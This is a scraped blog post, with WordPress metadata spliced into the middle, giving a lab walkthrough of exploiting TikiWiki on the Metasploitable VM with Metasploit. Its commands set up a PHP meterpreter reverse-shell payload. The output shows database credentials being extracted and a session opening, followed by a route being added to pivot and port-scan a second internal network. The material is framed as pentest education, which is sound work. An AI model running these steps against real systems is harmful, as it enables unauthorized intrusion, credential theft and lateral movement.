The following is based on my experiences and (limited) knowledge. I am not an expert in anything, nor will I likely ever be one. My hope is that this might help someone, somewhere, sometime. If nothing else, it might be a good start for discussion.<\/p>\n
Preamble<\/strong><\/p>\n This exercise is for educational use only, and is intended to be used in a lab environment, or as part of an authorized pentest. Please always ensure any scans or changes to systems are part of your pentest scope and comply with your rules of engagement.<\/p>\n This exercise is going to demonstrate how to use an “external” web application exploit rather then a client exploit to get the initial toe hold and an introduction to the php meterpreter.<\/p>\n Requirements and Background<\/strong> Process<\/strong> This particular system has an vulnerability in the tikiwiki software. In fact, the server that we are exploiting (the metasploitable virtual machine available from metasploit.com) has multiple vulnerabilities.<\/p>\n msf use exploit\/unix\/webapp\/tikiwiki_graph_formula_exec<\/span> Let’s see what we got meterpreter> Interesting note. In previous exercises, I\u00a0have typed exploit, not run. It\u00a0turns out proper protocol is to use run when your auxiliary tools, exploit for exploits, although for now, exploit<\/span> is aliased to run<\/span>. <\/p>\n As before, we can now try some exploits against this new host, pivoting through the web server.<\/p>\n The end….again…..for now….<\/p>\n","protected":false},"excerpt":{"rendered":" The following is based on my experiences and (limited) knowledge. I am not an expert in anything, nor will I likely ever be one. My hope is that this might help someone, somewhere, sometime. If nothing else, it might be a good start for discussion. Preamble This exercise is for educational use only, and is […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,3],"tags":[],"class_list":["post-19","post","type-post","status-publish","format-standard","hentry","category-metasploit","category-red"],"_links":{"self":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/19","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19"}],"version-history":[{"count":0,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/19\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
<\/strong>Please review the previous posts. This exercise builds on some of the lessons learned.<\/p>\n
<\/strong>We start this post assuming that you have already done your recon and discovery to find a vulnerability that can be exploited. (always do recon first!)<\/p>\n
msf exploit(tikiwiki_graph_formula_exec) > set rhost 10.13.37.245<\/span>
msf exploit(tikiwiki_graph_formula_exec) > set payload php\/meterpreter\/reverse_tcp<\/span>
msf exploit(tikiwiki_graph_formula_exec) > exploit<\/span>
[*] Started reverse handler on 10.13.37.136:80
[*] Attempting to obtain database credentials…
[*] The server returned\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : 200 OK
[*] Server version\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Apache\/2.2.8 (Ubuntu) PHP\/5.2.4-2ubuntu5.10 with Suhosin-Patch
[*] TikiWiki database informations :
db_tiki\u00a0\u00a0 : mysql
dbversion : 1.9
host_tiki : localhost
user_tiki : root
pass_tiki : root
dbs_tiki\u00a0 : tikiwiki195
[*] Attempting to execute our payload…
[*] Sending stage (29389 bytes) to 10.13.37.245
[*] Meterpreter session 3 opened (10.13.37.136:80 -> 10.13.37.245:47584) at 2010-11-03 18:57:55 -0400
Explanation<\/strong> – We set the exploit in Metasploit to use the tikiwiki graph exploit and used the php meterpreter payload. The php meterpreter is an amazing exploit, implementing many of the features of the standard meterpreter. See http:\/\/blog.metasploit.com\/2010\/06\/meterpreter-for-pwned-home-pages.html<\/a>\u00a0for details on what is possible using php meterpreter,<\/p>\n
meterpreter > sysinfo<\/span>
Computer: metasploitable
OS\u00a0\u00a0\u00a0\u00a0\u00a0 : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
after some more looking around look what we find
meterpreter > cat \/var\/lib\/dhcp3\/dhclient.leases<\/span>
lease {
\u00a0 interface “eth1”;
\u00a0 fixed-address 10.2.2.130;
\u00a0 option subnet-mask 255.255.255.0;
\u00a0 option dhcp-lease-time 1800;
\u00a0 option dhcp-message-type 5;
\u00a0 option domain-name-servers 10.2.2.1;
\u00a0 option dhcp-server-identifier 10.2.2.254;
\u00a0 option broadcast-address 10.2.2.255;
\u00a0 option domain-name “localdomain”;
\u00a0 rebind 3 2010\/11\/3 23:34:00;
\u00a0 renew 3 2010\/11\/3 23:22:20;
\u00a0 expire 3 2010\/11\/3 23:37:45;
}
Excellent, there is second nic attached to a different NIC.
We can use the same route commands and scanners\u00a0as in part 3 to explore the new network<\/p>\n
msf exploit(tikiwiki_graph_formula_exec) > route add 10.2.2.0 255.255.255.0 4<\/span>
msf exploit(tikiwiki_graph_formula_exec) > use auxiliary\/scanner\/portscan\/tcp<\/span>
msf auxiliary(tcp) > set rhosts 10.2.2.130<\/span>
msf auxiliary(tcp) > show options<\/span>
Module options:
\u00a0\u00a0 Name\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Current Setting\u00a0 Required\u00a0 Description
\u00a0\u00a0 —-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 —————\u00a0 ——–\u00a0 ———–
\u00a0\u00a0 CONCURRENCY\u00a0 10\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The number of concurrent ports to check per host
\u00a0\u00a0 PORTS\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 1-10000\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Ports to scan (e.g. 22-25,80,110-900)
\u00a0\u00a0 RHOSTS\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 10.2.2.130\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The target address range or CIDR identifier
\u00a0\u00a0 THREADS\u00a0\u00a0\u00a0\u00a0\u00a0 1\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The number of concurrent threads
\u00a0\u00a0 TIMEOUT\u00a0\u00a0\u00a0\u00a0\u00a0 1000\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The socket connect timeout in milliseconds
\u00a0\u00a0 VERBOSE\u00a0\u00a0\u00a0\u00a0\u00a0 false\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 no\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Display verbose output
msf auxiliary(tcp) > set ports 135-139,445<\/span>
msf auxiliary(tcp) > run<\/span>
[*] 10.2.2.129:135 – TCP OPEN
[*] 10.2.2.129:139 – TCP OPEN
[*] 10.2.2.129:445 – TCP OPEN<\/p>\n